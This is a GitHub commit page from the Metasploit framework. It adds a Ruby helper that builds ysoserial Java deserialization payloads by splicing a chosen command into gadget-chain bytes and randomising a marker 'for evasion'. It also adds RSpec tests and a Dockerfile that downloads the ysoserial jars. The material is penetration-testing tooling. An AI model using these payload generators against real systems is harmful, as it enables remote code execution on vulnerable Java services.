Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #11125, Import/generate
ysoserial
Java serialization objects
- Loading branch information
1 parent
3109f65
commit 9256c6f
Showing
8 changed files
with
413 additions
and
46 deletions.
There are no files selected for viewing
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,66 @@ | ||
module Msf | ||
module Util | ||
|
||
require 'json' | ||
|
||
# TODO: | ||
# Support ysoserial alongside ysoserial-modified payloads (including cmd, bash, powershell, none) | ||
|
||
class JavaDeserialization | ||
|
||
PAYLOAD_FILENAME = "ysoserial_payloads.json" | ||
|
||
def self.ysoserial_payload(payload_name, command=nil) | ||
# Open the JSON file and parse it | ||
begin | ||
path = File.join(Msf::Config.data_directory, PAYLOAD_FILENAME) | ||
json = JSON.parse(File.read(path)) | ||
rescue Errno::ENOENT, JSON::ParserError | ||
raise RuntimeError, "Unable to load JSON data from 'data/#{PAYLOAD_FILENAME}'" | ||
end | ||
|
||
raise ArgumentError, "#{payload_name} payload not found in ysoserial payloads" if json[payload_name].nil? | ||
|
||
# Extract the specified payload (status, lengthOffset, bufferOffset, bytes) | ||
payload = json[payload_name] | ||
|
||
# Based on the status, we'll raise an exception, return a static payload, or | ||
# generate a dynamic payload with modifications at the specified offsets | ||
case payload['status'] | ||
when 'unsupported' | ||
# This exception will occur most commonly with complex payloads that require more than a string | ||
raise ArgumentError, 'ysoserial payload is unsupported' | ||
when 'static' | ||
# TODO: Consider removing 'static' functionality, since ysoserial doesn't currently use it | ||
return Rex::Text.decode_base64(payload['bytes']) | ||
when 'dynamic' | ||
raise ArgumentError, 'missing command parameter' if command.nil? | ||
|
||
bytes = Rex::Text.decode_base64(payload['bytes']) | ||
|
||
# Insert buffer | ||
buffer_offset = payload['bufferOffset'].first #TODO: Do we ever need to support multiple buffers? | ||
bytes[buffer_offset - 1] += command | ||
|
||
# Overwrite length (multiple times, if necessary) | ||
length_offsets = payload['lengthOffset'] | ||
length_offsets.each do |length_offset| | ||
# Extract length as a 16-bit unsigned int, then add the length of the command string | ||
length = bytes[(length_offset-1)..length_offset].unpack('n').first | ||
length += command.length.ord | ||
length = [length].pack("n") | ||
bytes[(length_offset-1)..length_offset] = length | ||
end | ||
|
||
# Replace "ysoserial\/Pwner" timestamp string with randomness for evasion | ||
bytes.gsub!(/ysoserial\/Pwner00000000000000/, Rex::Text.rand_text_alphanumeric(29)) | ||
|
||
return bytes | ||
else | ||
raise RuntimeError, 'Malformed JSON file' | ||
end | ||
end | ||
end | ||
end | ||
end | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,80 @@ | ||
require 'rex' | ||
require 'msf/util/java_deserialization' | ||
|
||
RSpec.describe Msf::Util::JavaDeserialization do | ||
let(:payload_name) do | ||
'PAYLOAD_NAME' | ||
end | ||
|
||
let(:default_command) do | ||
nil | ||
end | ||
|
||
describe '#ysoserial_payload' do | ||
context 'when default payload name is changed' do | ||
it 'raises a RuntimeError' do | ||
payload_filename_constant = Msf::Util::JavaDeserialization.const_get(:PAYLOAD_FILENAME) | ||
Msf::Util::JavaDeserialization.const_set(:PAYLOAD_FILENAME, 'INVALID') | ||
expect{Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)}.to raise_error(RuntimeError) | ||
Msf::Util::JavaDeserialization.const_set(:PAYLOAD_FILENAME, payload_filename_constant) | ||
end | ||
end | ||
|
||
context 'when default payload is not found' do | ||
it 'raises a RuntimeError' do | ||
allow(File).to receive(:join).and_return('INVALID') | ||
expect{Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)}.to raise_error(RuntimeError) | ||
end | ||
end | ||
|
||
context 'when default payload is not JSON format' do | ||
it 'raises a JSON::ParserError error' do | ||
allow(File).to receive(:read).and_return('BAD DATA') | ||
expect{Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)}.to raise_error(JSON::ParserError) | ||
end | ||
end | ||
|
||
context 'when payload status is unsupported' do | ||
it 'raises a unsupported error' do | ||
json_data = %Q|{"BeanShell1":{"status":"unsupported","bytes":"AAAA"}}| | ||
allow(File).to receive(:read).and_return(json_data) | ||
expect{Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)}.to raise_error(ArgumentError) | ||
end | ||
end | ||
|
||
context 'when payload status is static' do | ||
let(:payload_name) do | ||
'BeanShell1' | ||
end | ||
|
||
it 'returns a Base64 string' do | ||
original_bytes = 'AAAA' | ||
b64 = Rex::Text.encode_base64(original_bytes) | ||
json_data = %Q|{"BeanShell1":{"status":"static","bytes":"#{b64}"}}| | ||
allow(File).to receive(:read).and_return(json_data) | ||
p = Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command) | ||
expect(p).to eq(original_bytes) | ||
end | ||
end | ||
|
||
context 'when payload status is dynamic' do | ||
let(:payload_name) do | ||
'BeanShell1' | ||
end | ||
|
||
context 'when missing a command' do | ||
it 'raises an argument error' do | ||
expect{Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)}.to raise_error(ArgumentError) | ||
end | ||
end | ||
|
||
context 'when a command is provided' do | ||
it 'returns serialized data' do | ||
default_command = 'id' | ||
p = Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command) | ||
expect(p).to include('java.awt.event') | ||
end | ||
end | ||
end | ||
end | ||
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,32 @@ | ||
# A docker container to generate empty ysoserial payloads and metadata to allow for | ||
# dynamically creating payloads within related projects, such as Metasploit | ||
# | ||
# Created by: Aaron Soto, Rapid7 Metasploit Team, 2018-DEC-11 | ||
# | ||
# To run: | ||
# docker build -t ysoserial-payloads . && docker run -i ysoserial-payloads > ysoserial_offsets.json | ||
# | ||
# Note: There will be ruby gem errors. It's fine. | ||
# We attempt to use the ysoserial-modified fork, then fail back to the original ysoserial project. | ||
# You will see warnings, but we're doing our best. :-) | ||
|
||
FROM ubuntu | ||
|
||
RUN apt update && apt -y upgrade | ||
# Dependencies: wget (to download ysoserial) | ||
# openjdk-8-jre-headless (to execute ysoserial) | ||
# make, gcc (to install the 'json' ruby gem) | ||
RUN apt install -y wget openjdk-8-jre-headless ruby-dev make gcc | ||
|
||
# Download the latest ysoserial-modified | ||
RUN wget -q https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial-original.jar | ||
RUN wget -q https://github.com/pimps/ysoserial-modified/raw/master/target/ysoserial-modified.jar | ||
|
||
# Install gems: diff-lcs (to diff the ysoserial output) | ||
# json (to print the scripts results in JSON) | ||
# pry (to debug issues) | ||
RUN gem install --silent diff-lcs json pry | ||
|
||
COPY find_ysoserial_offsets.rb / | ||
|
||
CMD ruby /find_ysoserial_offsets.rb |
Oops, something went wrong.